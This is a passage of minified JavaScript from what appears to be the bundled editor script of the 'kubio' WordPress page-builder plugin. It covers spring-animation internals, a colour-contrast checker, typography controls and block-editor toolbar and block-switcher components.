n(w(this));this._lastToId=t.callId}const{key:u,defaultProps:d,animation:b}=this,{to:p,from:m}=b;let{to:f=p,from:O=m}=e;!s||r||t.default&&!o.s.und(f)||(f=O),t.reverse&&([f,O]=[O,f]);const j=!Object(o.u)(O,m);j&&(b.from=O),O=Object(o.q)(O);const _=!Object(o.u)(f,p);_&&this._focus(f);const y=h(t.to),{config:E}=b,{decay:I,velocity:x}=E;(r||s)&&(E.velocity=0),t.config&&!y&&function(e,t,n){n&&(k(n=c({},n),t),t=c({},n,t)),k(e,t),Object.assign(e,t);for(const t in v)null==e[t]&&(e[t]=v[t]);let{mass:r,frequency:l,damping:i}=e;o.s.und(l)||(l<.01&&(l=.01),i<0&&(i=0),e.tension=Math.pow(2*Math.PI/l,2)*r,e.friction=4*Math.PI*i*r/l)}(E,i(t.config,u),t.config!==d.config?i(d.config,u):void 0);let T=Object(l.e)(this);if(!T||o.s.und(f))return n(C(this,!0));const N=o.s.und(t.reset)?s&&!t.default:!o.s.und(O)&&a(t.reset,u),M=N?O:this.get(),P=g(f),L=o.s.num(P)||o.s.arr(P)||Object(o.t)(P),D=!y&&(!L||a(d.immediate||t.immediate,u));if(_){const e=Object(l.f)(f);if(e!==T.constructor){if(!D)throw Error(`Cannot animate between ${T.constructor.name} and ${e.name}, as the "to" prop suggests`);T=this._set(P)}}const F=T.constructor;let z=Object(o.r)(f),V=!1;if(!z){const e=N||!R(this)&&j;(_||e)&&(V=Object(o.u)(g(M),P),z=!V),(Object(o.u)(b.immediate,D)||D)&&Object(o.u)(E.decay,I)&&Object(o.u)(E.velocity,x)||(z=!0)}if(V&&A(this)&&(b.changed&&!N?z=!0:z||this._stop(p)),!y&&((z||Object(o.r)(p))&&(b.values=T.getPayload(),b.toValues=Object(o.r)(f)?null:F==l.b?[1]:Object(o.y)(P)),b.immediate!=D&&(b.immediate=D,D||N||this._set(p)),z)){const{onRest:e}=b;Object(o.k)(K,(e=>q(this,t,e)));const r=C(this,H(this,p));Object(o.n)(this._pendingCalls,r),this._pendingCalls.add(n),b.changed&&o.w.batchedUpdates((()=>{b.changed=!N,null==e||e(r,this),N?i(d.onRest,r):null==b.onStart||b.onStart(r,this)}))}N&&this._set(M),y?n(B(t.to,t,this._state,this)):z?this._start():A(this)&&!_?this._pendingCalls.add(n):n(S(M))}_focus(e){const t=this.animation;e!==t.to&&(Object(o.p)(this)&&this._detach(),t.to=e,Object(o.p)(this)&&this._attach())}_attach(){let e=0;const{to:t}=this.animation;Object(o.r)(t)&&(Object(o.c)(t,this),N(t)&&(e=t.priority+1)),this.priority=e}_detach(){const{to:e}=this.animation;Object(o.r)(e)&&Object(o.x)(e,this)}_set(e,t=!0){const n=Object(o.q)(e);if(!o.s.und(n)){const e=Object(l.e)(this);if(!e||!Object(o.u)(n,e.getValue())){const r=Object(l.f)(n);e&&e.constructor==r?e.setValue(n):Object(l.h)(this,r.create(n)),e&&o.w.batchedUpdates((()=>{this._onChange(n,t)}))}}return Object(l.e)(this)}_onStart(){const e=this.animation;e.changed||(e.changed=!0,Y(this,"onStart",C(this,H(this,e.to)),this))}_onChange(e,t){t||(this._onStart(),i(this.animation.onChange,e,this)),i(this.defaultProps.onChange,e,this),super._onChange(e,t)}_start(){const e=this.animation;Object(l.e)(this).reset(Object(o.q)(e.to)),e.immediate||(e.fromValues=e.values.map((e=>e.lastPosition))),A(this)||(F(this,!0),D(this)||this._resume())}_resume(){o.b.skipAnimation?this.finish():o.o.start(this)}_stop(e,t){if(A(this)){F(this,!1);const n=this.animation;Object(o.k)(n.values,(e=>{e.done=!0})),n.toValues&&(n.onChange=n.onPause=n.onResume=void 0),Object(o.d)(this,{type:"idle",parent:this});const r=t?w(this.get()):C(this.get(),H(this,null!=e?e:n.to));Object(o.n)(this._pendingCalls,r),n.changed&&(n.changed=!1,Y(this,"onRest",r,this))}}}function H(e,t){const n=g(t),r=g(e.get());return Object(o.u)(r,n)}function G(e,t=e.loop,n=e.to){let o=i(t);if(o){const r=!0!==o&&f(o),l=(r||e).reverse,i=!r||r.reset;return $(c({},e,{loop:t,default:!1,pause:void 0,to:!l||h(n)?n:void 0,from:i?e.from:void 0,reset:i},r))}}function $(e){const{to:t,from:n}=e=f(e),r=new Set;return o.s.obj(t)&&W(t,r),o.s.obj(n)&&W(n,r),e.keys=r.size?Array.from(r):null,e}function U(e){const t=$(e);return o.s.und(t.default)&&(t.default=b(t)),t}function W(e,t){Object(o.l)(e,((e,n)=>null!=e&&t.add(n)))}const K=["onStart","onRest","onChange","onPause","onResume"];function q(e,t,n){e.animation[n]=t[n]!==u(t,n)?s(t[n],e.key):void 0}function Y(e,t,...n){var o,r,l,c;null==(o=(r=e.animation)[t])||o.call(r,...n),null==(l=(c=e.defaultProps)[t])||l.call(c,...n)}const Q=["onStart","onChange","onRest"];let X=1;class Z{constructor(e,t){this.id=X++,this.springs={},this.queue=[],this.ref=void 0,this._flush=void 0,this._initialProps=void 0,this._lastAsyncId=0,this._active=new Set,this._changed=new Set,this._started=!1,this._item=void 0,this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._events={onStart:new Map,onChange:new Map,onRest:new Map},this._onFrame=this._onFrame.bind(this),t&&(this._flush=t),e&&this.start(c({default:!0},e))}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every((e=>e.idle))}get item(){return this._item}set item(e){this._item=e}get(){const e={};return this.each(((t,n)=>e[n]=t.get())),e}set(e){for(const t in e){const n=e[t];o.s.und(n)||this.springs[t].set(n)}}update(e){return e&&this.queue.push($(e)),this}start(e){let{queue:t}=this;return e?t=Object(o.y)(e).map($):this.queue=[],this._flush?this._flush(this,t):(le(this,t),J(this,t))}stop(e,t){if(e!==!!e&&(t=e),t){const n=this.springs;Object(o.k)(Object(o.y)(t),(t=>n[t].stop(!!e)))}else I(this._state,this._lastAsyncId),this.each((t=>t.stop(!!e)));return this}pause(e){if(o.s.und(e))this.start({pause:!0});else{const t=this.springs;Object(o.k)(Object(o.y)(e),(e=>t[e].pause()))}return this}resume(e){if(o.s.und(e))this.start({pause:!1});else{const t=this.springs;Object(o.k)(Object(o.y)(e),(e=>t[e].resume()))}return this}each(e){Object(o.l)(this.springs,e)}_onFrame(){const{onStart:e,onChange:t,onRest:n}=this._events,r=this._active.size>0,l=this._changed.size>0;(r&&!this._started||l&&!this._started)&&(this._started=!0,Object(o.m)(e,(([e,t])=>{t.value=this.get(),e(t,this,this._item)})));const c=!r&&this._started,i=l||c&&n.size?this.get():null;l&&t.size&&Object(o.m)(t,(([e,t])=>{t.value=i,e(t,this,this._item)})),c&&(this._started=!1,Object(o.m)(n,(([e,t])=>{t.value=i,e(t,this,this._item)})))}eventObserved(e){if("change"==e.type)this._changed.add(e.parent),e.idle||this._active.add(e.parent);else{if("idle"!=e.type)return;this._active.delete(e.parent)}o.w.onFrame(this._onFrame)}}function J(e,t){return Promise.all(t.map((t=>ee(e,t)))).then((t=>E(e,t)))}async function ee(e,t,n){const{keys:r,to:l,from:c,loop:i,onRest:a,onResolve:s}=t,d=o.s.obj(t.default)&&t.default;i&&(t.loop=!1),!1===l&&(t.to=null),!1===c&&(t.from=null);const b=o.s.arr(l)||o.s.fun(l)?l:void 0;b?(t.to=void 0,t.onRest=void 0,d&&(d.onRest=void 0)):Object(o.k)(Q,(n=>{const r=t[n];if(o.s.fun(r)){const o=e._events[n];t[n]=({finished:e,cancelled:t})=>{const n=o.get(r);n?(e||(n.finished=!1),t&&(n.cancelled=!0)):o.set(r,{value:null,finished:e||!1,cancelled:t||!1})},d&&(d[n]=t[n])}}));const p=e._state;t.pause===!p.paused?(p.paused=t.pause,Object(o.n)(t.pause?p.pauseQueue:p.resumeQueue)):p.paused&&(t.pause=!0);const m=(r||Object.keys(e.springs)).map((n=>e.springs[n].start(t))),f=!0===t.cancel||!0===u(t,"cancel");(b||f&&p.asyncId)&&m.push(y(++e._lastAsyncId,{props:t,state:p,actions:{pause:o.v,resume:o.v,start(t,n){f?(I(p,e._lastAsyncId),n(w(e))):(t.onRest=a,n(B(b,t,p,e)))}}})),p.paused&&await new Promise((e=>{p.resumeQueue.add(e)}));const g=E(e,await Promise.all(m));if(i&&g.finished&&(!n||!g.noop)){const n=G(t,i,l);if(n)return le(e,[n]),ee(e,n,!0)}return s&&o.w.batchedUpdates((()=>s(g,e,e.item))),g}function te(e,t){const n=c({},e.springs);return t&&Object(o.k)(Object(o.y)(t),(e=>{o.s.und(e.keys)&&(e=$(e)),o.s.obj(e.to)||(e=c({},e,{to:void 0})),re(n,e,(e=>oe(e)))})),ne(e,n),n}function ne(e,t){Object(o.l)(t,((t,n)=>{e.springs[n]||(e.springs[n]=t,Object(o.c)(t,e))}))}function oe(e,t){const n=new V;return n.key=e,t&&Object(o.c)(n,t),n}function re(e,t,n){t.keys&&Object(o.k)(t.keys,(o=>{(e[o]||(e[o]=n(o)))._prepareNode(t)}))}function le(e,t){Object(o.k)(t,(t=>{re(e.springs,t,(t=>oe(t,e)))}))}const ce=["children"],ie=e=>{let{children:t}=e,n=function(e,t){if(null==e)return{};var n,o,r={},l=Object.keys(e);for(o=0;o<l.length;o++)n=l[o],t.indexOf(n)>=0||(r[n]=e[n]);return r}(e,ce);const l=Object(r.useContext)(ae),c=n.pause||!!l.pause,i=n.immediate||!!l.immediate;n=Object(o.B)((()=>({pause:c,immediate:i})),[c,i]);const{Provider:a}=ae;return r.createElement(a,{value:n},t)},ae=(se=ie,ue={},Object.assign(se,r.createContext(ue)),se.Provider._context=se,se.Consumer._context=se,se);var se,ue;ie.Provider=ae.Provider,ie.Consumer=ae.Consumer;const de=()=>{const e=[],t=function(t){Object(o.i)();const r=[];return Object(o.k)(e,((e,l)=>{if(o.s.und(t))r.push(e.start());else{const o=n(t,e,l);o&&r.push(e.start(o))}})),r};t.current=e,t.add=function(t){e.includes(t)||e.push(t)},t.delete=function(t){const n=e.indexOf(t);~n&&e.splice(n,1)},t.pause=function(){return Object(o.k)(e,(e=>e.pause(...arguments))),this},t.resume=function(){return Object(o.k)(e,(e=>e.resume(...arguments))),this},t.set=function(t){Object(o.k)(e,(e=>e.set(t)))},t.start=function(t){const n=[];return Object(o.k)(e,((e,r)=>{if(o.s.und(t))n.push(e.start());else{const o=this._getProps(t,e,r);o&&n.push(e.start(o))}})),n},t.stop=function(){return Object(o.k)(e,(e=>e.stop(...arguments))),this},t.update=function(t){return Object(o.k)(e,((e,n)=>e.update(this._getProps(t,e,n)))),this};const n=function(e,t,n){return o.s.fun(e)?e(n,t):e};return t._getProps=n,t};function be(e,t){const n=o.s.fun(e),[[l],i]=function(e,t,n){const l=o.s.fun(t)&&t;l&&!n&&(n=[]);const i=Object(r.useMemo)((()=>l||3==arguments.length?de():void 0),[]),a=Object(r.useRef)(0),s=Object(o.z)(),u=Object(r.useMemo)((()=>({ctrls:[],queue:[],flush(e,t){const n=te(e,t);return a.current>0&&!u.queue.length&&!Object.keys(n).some((t=>!e.springs[t]))?J(e,t):new Promise((o=>{ne(e,n),u.queue.push((()=>{o(J(e,t))})),s()}))}})),[]),d=Object(r.useRef)([...u.ctrls]),b=[],p=Object(o.D)(e)||0;function m(e,n){for(let o=e;o<n;o++){const e=d.current[o]||(d.current[o]=new Z(null,u.flush)),n=l?l(o,e):t[o];n&&(b[o]=U(n))}}Object(r.useMemo)((()=>{Object(o.k)(d.current.slice(e,p),(e=>{(function(e,t){var n;null==(n=e.ref)||n.delete(e),null==t||t.delete(e)})(e,i),e.stop(!0)})),d.current.length=e,m(p,e)}),[e]),Object(r.useMemo)((()=>{m(0,Math.min(p,e))}),n);const f=d.current.map(((e,t)=>te(e,b[t]))),g=Object(r.useContext)(ie),h=Object(o.D)(g),v=g!==h&&function(e){for(const t in e)return!0;return!1}(g);Object(o.A)((()=>{a.current++,u.ctrls=d.current;const{queue:e}=u;e.length&&(u.queue=[],Object(o.k)(e,(e=>e()))),Object(o.k)(d.current,((e,t)=>{null==i||i.add(e),v&&e.start({default:g});const n=b[t];n&&(function(e,t){var n;t&&e.ref!==t&&(null==(n=e.ref)||n.delete(e),t.add(e),e.ref=t)}(e,n.ref),e.ref?e.queue.push(n):e.start(n))}))})),Object(o.C)((()=>()=>{Object(o.k)(u.ctrls,(e=>e.stop(!0)))}));const O=f.map((e=>c({},e)));return i?[O,i]:O}(1,n?e:[e],n?t||[]:t);return n||2==arguments.length?[l,i]:l}let pe;!function(e){e.MOUNT="mount",e.ENTER="enter",e.UPDATE="update",e.LEAVE="leave"}(pe||(pe={}));class me extends P{constructor(e,t){super(),this.key=void 0,this.idle=!0,this.calc=void 0,this._active=new Set,this.source=e,this.calc=Object(o.f)(...t);const n=this._get(),r=Object(l.f)(n);Object(l.h)(this,r.create(n))}advance(e){const t=this._get(),n=this.get();Object(o.u)(t,n)||(Object(l.e)(this).setValue(t),this._onChange(t,this.idle)),!this.idle&&ge(this._active)&&he(this)}_get(){const e=o.s.arr(this.source)?this.source.map(o.q):Object(o.y)(Object(o.q)(this.source));return this.calc(...e)}_start(){this.idle&&!ge(this._active)&&(this.idle=!1,Object(o.k)(Object(l.g)(this),(e=>{e.done=!1})),o.b.skipAnimation?(o.w.batchedUpdates((()=>this.advance())),he(this)):o.o.start(this))}_attach(){let e=1;Object(o.k)(Object(o.y)(this.source),(t=>{Object(o.r)(t)&&Object(o.c)(t,this),N(t)&&(t.idle||this._active.add(t),e=Math.max(e,t.priority+1))})),this.priority=e,this._start()}_detach(){Object(o.k)(Object(o.y)(this.source),(e=>{Object(o.r)(e)&&Object(o.x)(e,this)})),this._active.clear(),he(this)}eventObserved(e){"change"==e.type?e.idle?this.advance():(this._active.add(e.parent),this._start()):"idle"==e.type?this._active.delete(e.parent):"priority"==e.type&&(this.priority=Object(o.y)(this.source).reduce(((e,t)=>Math.max(e,(N(t)?t.priority:0)+1)),0))}}function fe(e){return!1!==e.idle}function ge(e){return!e.size||Array.from(e).every(fe)}function he(e){e.idle||(e.idle=!0,Object(o.k)(Object(l.g)(e),(e=>{e.done=!0})),Object(o.d)(e,{type:"idle",parent:e}))}o.b.assign({createStringInterpolator:o.g,to:(e,t)=>new me(e,t)}),o.o.advance},function(e,t,n){"use strict";var o=n(0),r=n(170),l=n(128),c=n(92),i=n(1),a=n(3),s=n(63);Object(c.b)([l.a,r.a]),t.a=function(e){let{backgroundColor:t,fallbackBackgroundColor:n,fallbackTextColor:r,fallbackLinkColor:l,fontSize:u,isLargeText:d,textColor:b,linkColor:p,enableAlphaChecker:m=!1}=e;const f=t||n;if(!f)return null;const g=b||r,h=p||l;if(!g&&!h)return null;const v=[{color:g,description:Object(i.__)("text color","kubio")},{color:h,description:Object(i.__)("link color","kubio")}],O=Object(c.a)(f),k=O.alpha()<1,j=O.brightness(),_={level:"AA",size:d||!1!==d&&u>=24?"large":"small"};let y="",E="";for(const e of v){if(!e.color)continue;const t=Object(c.a)(e.color),n=t.isReadable(O,_),o=t.alpha()<1;if(!n){if(k||o)continue;y=j<t.brightness()?Object(i.sprintf)(// translators: %s is a type of text color, e.g., "text color" or "link color".
Object(i.__)("This color combination may be hard for people to read. Try using a darker background color and/or a brighter %s.","kubio"),e.description):Object(i.sprintf)(// translators: %s is a type of text color, e.g., "text color" or "link color".
Object(i.__)("This color combination may be hard for people to read. Try using a brighter background color and/or a darker %s.","kubio"),e.description),E=Object(i.__)("This color combination may be hard for people to read.","kubio");break}o&&m&&(y=Object(i.__)("Transparent text may be hard for people to read.","kubio"),E=Object(i.__)("Transparent text may be hard for people to read.","kubio"))}return y?(Object(s.speak)(E),Object(o.createElement)("div",{className:"block-editor-contrast-checker"},Object(o.createElement)(a.Notice,{spokenMessage:null,status:"warning",isDismissible:!1},y))):null}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(8),r=n(0),l=n(3),c=n(1),i=n(30);function a(e){let{value:t="",onChange:n,fontFamilies:a,...s}=e;const u=Object(i.a)("typography.fontFamilies");if(a||(a=u),!a||0===a.length)return null;const d=[{value:"",label:Object(c.__)("Default","kubio")},...a.map((e=>{let{fontFamily:t,name:n}=e;return{value:t,label:n||t}}))];return Object(r.createElement)(l.SelectControl,Object(o.a)({label:Object(c.__)("Font","kubio"),options:d,value:t,onChange:n,labelPosition:"top"},s))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(8),r=n(0),l=n(3),c=n(1),i=n(30);function a(e){let{value:t,onChange:n,__unstableInputWidth:a="60px",...s}=e;const u=Object(l.__experimentalUseCustomUnits)({availableUnits:Object(i.a)("spacing.units")||["px","em","rem"],defaultValues:{px:2,em:.2,rem:.2}});return Object(r.createElement)(l.__experimentalUnitControl,Object(o.a)({},s,{label:Object(c.__)("Letter spacing","kubio"),value:t,__unstableInputWidth:a,units:u,onChange:n}))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(7),a=n(11),s=n(12),u=n(3),d=n(163),b=n(1),p=n(61),m=n(55),f=n(172),g=n(14);function h(){const{selectBlock:e,toggleBlockHighlight:t}=Object(i.useDispatch)(g.a),{firstParentClientId:n,shouldHide:l,isDistractionFree:c}=Object(i.useSelect)((e=>{const{getBlockName:t,getBlockParents:n,getSelectedBlockClientId:o,getSettings:r}=e(g.a),{hasBlockSupport:l}=e(s.store),c=n(o()),i=c[c.length-1],a=t(i),u=Object(s.getBlockType)(a),d=r();return{firstParentClientId:i,shouldHide:!l(u,"__experimentalParentSelector",!0),isDistractionFree:d.isDistractionFree}}),[]),a=Object(p.a)(n),d=Object(r.useRef)(),{gestures:h}=Object(f.a)({ref:d,onChange(e){e&&c||t(n,e)}});return l||void 0===n?null:Object(r.createElement)("div",Object(o.a)({className:"block-editor-block-parent-selector",key:n,ref:d},h),Object(r.createElement)(u.ToolbarButton,{className:"block-editor-block-parent-selector__button",onClick:()=>e(n),label:Object(b.sprintf)(/* translators: %s: Name of the block's parent. */Object(b.__)("Select %s","kubio"),null==a?void 0:a.title),showTooltip:!0,icon:Object(r.createElement)(m.a,{icon:null==a?void 0:a.icon})}))}var v=n(676),O=n(91);function k(e){let{blocks:t}=e;return Object(r.createElement)("div",{className:"block-editor-block-switcher__popover__preview__parent"},Object(r.createElement)("div",{className:"block-editor-block-switcher__popover__preview__container"},Object(r.createElement)(u.Popover,{className:"block-editor-block-switcher__preview__popover",placement:"bottom-start",focusOnMount:!1},Object(r.createElement)("div",{className:"block-editor-block-switcher__preview"},Object(r.createElement)("div",{className:"block-editor-block-switcher__preview-title"},Object(b.__)("Preview","kubio")),Object(r.createElement)(O.a,{viewportWidth:500,blocks:t})))))}function j(e){let{restTransformations:t,onSelect:n,setHoveredTransformItemName:o}=e;return t.map((e=>Object(r.createElement)(_,{key:e.name,item:e,onSelect:n,setHoveredTransformItemName:o})))}function _(e){let{item:t,onSelect:n,setHoveredTransformItemName:o}=e;const{name:l,icon:c,title:i,isDisabled:a}=t;return Object(r.createElement)(u.MenuItem,{className:Object(s.getBlockMenuDefaultClassName)(l),onClick:e=>{e.preventDefault(),n(l)},disabled:a,onMouseLeave:()=>o(null),onMouseEnter:()=>o(l)},Object(r.createElement)(m.a,{icon:c,showColors:!0}),i)}var y=e=>{let{className:t,possibleBlockTransformations:n,onSelect:o,blocks:l}=e;const[c,i]=Object(r.useState)(),{priorityTextTransformations:a,restTransformations:d}=function(e){const t={"core/paragraph":1,"core/heading":2,"core/list":3,"core/quote":4},n=Object(r.useMemo)((()=>{const n=Object.keys(t);return e.reduce(((e,t)=>{const{name:o}=t;return n.includes(o)?e.priorityTextTransformations.push(t):e.restTransformations.push(t),e}),{priorityTextTransformations:[],restTransformations:[]})}),[e]);return n.priorityTextTransformations.sort(((e,n)=>{let{name:o}=e,{name:r}=n;return t[o]<t[r]?-1:1})),n}(n),p=a.length&&d.length,m=!!d.length&&Object(r.createElement)(j,{restTransformations:d,onSelect:o,setHoveredTransformItemName:i});return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(u.MenuGroup,{label:Object(b.__)("Transform to","kubio"),className:t},c&&Object(r.createElement)(k,{blocks:Object(s.switchToBlockType)(l,c)}),a.map((e=>Object(r.createElement)(_,{key:e.name,item:e,onSelect:o,setHoveredTransformItemName:i}))),!p&&m),!!p&&Object(r.createElement)(u.MenuGroup,{className:t},m))},E=n(273),S=n(255);const C=()=>{};function w(e){let{clientId:t,onSwitch:n=C}=e;const{onSelect:o,stylesToRender:l,activeStyle:c}=Object(S.a)({clientId:t,onSwitch:n});return l&&0!==l.length?Object(r.createElement)(r.Fragment,null,l.map((e=>{const t=e.label||e.name;return Object(r.createElement)(u.MenuItem,{key:e.name,icon:c.name===e.name?E.a:null,onClick:()=>o(e)},Object(r.createElement)(u.__experimentalText,{as:"span",limit:18,ellipsizeMode:"tail",truncate:!0},t))}))):null}function B(e){let{hoveredBlock:t,onSwitch:n}=e;const{clientId:o}=t;return Object(r.createElement)(u.MenuGroup,{label:Object(b.__)("Styles","kubio"),className:"block-editor-block-switcher__styles__menugroup"},Object(r.createElement)(w,{clientId:o,onSwitch:n}))}var I=n(329);const x=function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:new Set;const{clientId:o,name:r,innerBlocks:l=[]}=e;if(!n.has(o)){if(r===t)return e;for(const e of l){const o=x(e,t,n);if(o)return o}}},T=(e,t)=>{const n=((e,t)=>{const n=Object(s.__experimentalGetBlockAttributesNamesByRole)(e,"content");return null!=n&&n.length?n.reduce(((e,n)=>(t[n]&&(e[n]=t[n]),e)),{}):t})(t.name,t.attributes);e.attributes={...e.attributes,...n}};function N(e){let{patterns:t,onSelect:n}=e;return Object(r.createElement)("div",{className:"block-editor-block-switcher__popover__preview__parent"},Object(r.createElement)("div",{className:"block-editor-block-switcher__popover__preview__container"},Object(r.createElement)(u.Popover,{className:"block-editor-block-switcher__preview__popover",position:"bottom right"},Object(r.createElement)("div",{className:"block-editor-block-switcher__preview"},Object(r.createElement)("div",{className:"block-editor-block-switcher__preview-title"},Object(b.__)("Preview","kubio")),Object(r.createElement)(M,{patterns:t,onSelect:n})))))}function M(e){let{patterns:t,onSelect:n}=e;const l=Object(u.__unstableUseCompositeState)();return Object(r.createElement)(u.__unstableComposite,Object(o.a)({},l,{role:"listbox",className:"block-editor-block-switcher__preview-patterns-container","aria-label":Object(b.__)("Patterns list","kubio")}),t.map((e=>Object(r.createElement)(P,{key:e.name,pattern:e,onSelect:n,composite:l}))))}function P(e){let{pattern:t,onSelect:n,composite:l}=e;const c="block-editor-block-switcher__preview-patterns-container",i=Object(a.useInstanceId)(P,`${c}-list__item-description`);return Object(r.createElement)("div",{className:`${c}-list__list-item`,"aria-label":t.title,"aria-describedby":t.description?i:void 0},Object(r.createElement)(u.__unstableCompositeItem,Object(o.a)({role:"option",as:"div"},l,{className:`${c}-list__item`,onClick:()=>n(t.transformedBlocks)}),Object(r.createElement)(O.a,{blocks:t.transformedBlocks,viewportWidth:t.viewportWidth||500}),Object(r.createElement)("div",{className:`${c}-list__item-title`},t.title)),!!t.description&&Object(r.createElement)(u.VisuallyHidden,{id:i},t.description))}var L=function(e){let{blocks:t,patterns:n,onSelect:o}=e;const[l,c]=Object(r.useState)(!1),i=((e,t)=>Object(r.useMemo)((()=>e.reduce(((e,n)=>{const o=((e,t)=>{const n=t.map((e=>Object(s.cloneBlock)(e))),o=new Set;for(const t of e){let e=!1;for(const r of n){const n=x(r,t.name,o);if(n){e=!0,o.add(n.clientId),T(n,t);break}}if(!e)return}return n})(t,n.blocks);return o&&e.push({...n,transformedBlocks:o}),e}),[])),[e,t]))(n,t);return i.length?Object(r.createElement)(u.MenuGroup,{className:"block-editor-block-switcher__pattern__transforms__menugroup"},l&&Object(r.createElement)(N,{patterns:i,onSelect:o}),Object(r.createElement)(u.MenuItem,{onClick:e=>{e.preventDefault(),c(!l)},icon:I.a},Object(b.__)("Patterns","kubio"))):null},R=n(94);const A=e=>{let{clientIds:t,blocks:n}=e;const{replaceBlocks:o,multiSelect:l}=Object(i.useDispatch)(g.a),c=Object(p.a)(n[0].clientId),{possibleBlockTransformations:a,canRemove:d,hasBlockStyles:f,icon:h,patterns:O}=Object(i.useSelect)((e=>{const{getBlockRootClientId:o,getBlockTransformItems:r,__experimentalGetPatternTransformItems:l}=e(g.a),{getBlockStyles:i,getBlockType:a}=e(s.store),{canRemoveBlocks:u}=e(g.a),d=o(Array.isArray(t)?t[0]:t),[{name:b}]=n,p=1===n.length,m=p&&i(b);let f;var h;p?f=null==c?void 0:c.icon:f=1===new Set(n.map((e=>{let{name:t}=e;return t}))).size?null===(h=a(b))||void 0===h?void 0:h.icon:v.a;return{possibleBlockTransformations:r(n,d),canRemove:u(t,d),hasBlockStyles:!(null==m||!m.length),icon:f,patterns:l(n,d)}}),[t,n,null==c?void 0:c.icon]),k=Object(R.a)({clientId:Array.isArray(t)?t[0]:t,maximumLength:35}),j=1===n.length&&Object(s.isReusableBlock)(n[0]),_=1===n.length&&Object(s.isTemplatePart)(n[0]);function E(e){e.length>1&&l(e[0].clientId,e[e.length-1].clientId)}const S=!!a.length&&d&&!_&&!n[0].name.includes("kubio/")&&"core/post-content"===!n[0].name,C=!(null==O||!O.length)&&d;if(!f&&!S)return Object(r.createElement)(u.ToolbarGroup,null,Object(r.createElement)(u.ToolbarButton,{disabled:!0,className:"block-editor-block-switcher__no-switcher-icon",title:k,icon:Object(r.createElement)(r.Fragment,null,Object(r.createElement)(m.a,{icon:h,showColors:!0}),(j||_)&&Object(r.createElement)("span",{className:"block-editor-block-switcher__toggle-text"},k))}));const w=k,I=1===n.length?Object(b.sprintf)(/* translators: %s: block title. */Object(b.__)("%s: Change block type or style","kubio"),k):Object(b.sprintf)(/* translators: %d: number of blocks. */Object(b._n)("Change type of %d block","Change type of %d blocks",n.length,"kubio"),n.length),x=f||S||C;return Object(r.createElement)(u.ToolbarGroup,null,Object(r.createElement)(u.ToolbarItem,null,(e=>Object(r.createElement)(u.DropdownMenu,{className:"block-editor-block-switcher",label:w,popoverProps:{position:"bottom right",variant:"toolbar",className:"block-editor-block-switcher__popover"},icon:Object(r.createElement)(r.Fragment,null,Object(r.createElement)(m.a,{icon:h,className:"block-editor-block-switcher__toggle",showColors:!0}),(j||_)&&Object(r.createElement)("span",{className:"block-editor-block-switcher__toggle-text"},k)),toggleProps:{describedBy:I,...e},menuProps:{orientation:"both"}},(e=>{let{onClose:l}=e;return x&&Object(r.createElement)("div",{className:"block-editor-block-switcher__container"},C&&Object(r.createElement)(L,{blocks:n,patterns:O,onSelect:e=>{!function(e){o(t,e),E(e)}(e),l()}}),S&&Object(r.createElement)(y,{className:"block-editor-block-switcher__transforms__menugroup",possibleBlockTransformations:a,blocks:n,onSelect:e=>{!function(e){const r=Object(s.switchToBlockType)(n,e);o(t,r),E(r)}(e),l()}}),f&&Object(r.createElement)(B,{hoveredBlock:n[0],onSwitch:l}))})))))};var D=e=>{let{clientIds:t}=e;const n=Object(i.useSelect)((e=>e(g.a).getBlocksByClientId(t)),[t]);return!n.length||n.some((e=>!e))?null:Object(r.createElement)(A,{clientIds:t,blocks:n})},F=n(96),z=n(224),V=n(225),H=n(95),G=n(205);function $(e){let{clientIds:t}=e;const n=1===t.length?t[0]:void 0,o=Object(i.useSelect)((e=>!!n&&"html"===e(g.a).getBlockMode(n)),[n]),{toggleBlockMode:l}=Object(i.useDispatch)(g.a);return o?Object(r.createElement)(u.ToolbarGroup,null,Object(r.createElement)(u.ToolbarButton,{onClick:()=>{l(n)}},Object(b.__)("Edit visually","kubio"))):null}var U=n(228);t.a=e=>{let{hideDragHandle:t}=e;const{blockClientIds:n,blockClientId:l,blockType:b,hasFixedToolbar:p,isDistractionFree:m,isValid:v,isVisual:O,isContentLocked:k}=Object(i.useSelect)((e=>{const{getBlockName:t,getBlockMode:n,getSelectedBlockClientIds:o,isBlockValid:r,getBlockRootClientId:l,getSettings:c,__unstableGetContentLockingParent:i}=e(g.a),a=o(),u=a[0],d=l(u),b=c();return{blockClientIds:a,blockClientId:u,blockType:u&&Object(s.getBlockType)(t(u)),hasFixedToolbar:b.hasFixedToolbar,isDistractionFree:b.isDistractionFree,rootClientId:d,isValid:a.every((e=>r(e))),isVisual:a.every((e=>"visual"===n(e))),isContentLocked:!!i(u)}}),[]),{toggleBlockHighlight:j}=Object(i.useDispatch)(g.a),_=Object(r.useRef)(),{showMovers:y,gestures:E}=Object(f.a)({ref:_,onChange(e){e&&m||j(l,e)}}),S=Object(a.useViewportMatch)("medium","<")||p;if(b&&!Object(s.hasBlockSupport)(b,"__experimentalToolbar",!0))return null;const C=S||y;if(0===n.length)return null;const w=v&&O,B=n.length>1,I=Object(s.isReusableBlock)(b)||Object(s.isTemplatePart)(b),x=c()("block-editor-block-toolbar",{"is-showing-movers":C,"is-synced":I});return Object(r.createElement)("div",{className:x},!B&&!S&&!k&&Object(r.createElement)(h,null),Object(r.createElement)("div",Object(o.a)({ref:_},E),(w||B)&&!k&&Object(r.createElement)(u.ToolbarGroup,{className:"block-editor-block-toolbar__block-controls"},Object(r.createElement)(D,{clientIds:n}),!B&&Object(r.createElement)(H.b,{clientId:n[0]}),Object(r.createElement)(d.a,{clientIds:n,hideDragHandle:t}))),w&&B&&Object(r.createElement)(G.a,null),w&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)(F.b.Slot,{group:"parent",className:"block-editor-block-toolbar__slot"}),Object(r.createElement)(F.b.Slot,{group:"block",className:"block-editor-block-toolbar__slot"}),Object(r.createElement)(F.b.Slot,{className:"block-editor-block-toolbar__slot"}),Object(r.createElement)(F.b.Slot,{group:"inline",className:"block-editor-block-toolbar__slot"}),Object(r.createElement)(F.b.Slot,{group:"other",className:"block-editor-block-toolbar__slot"}),Object(r.createElement)(U.a.P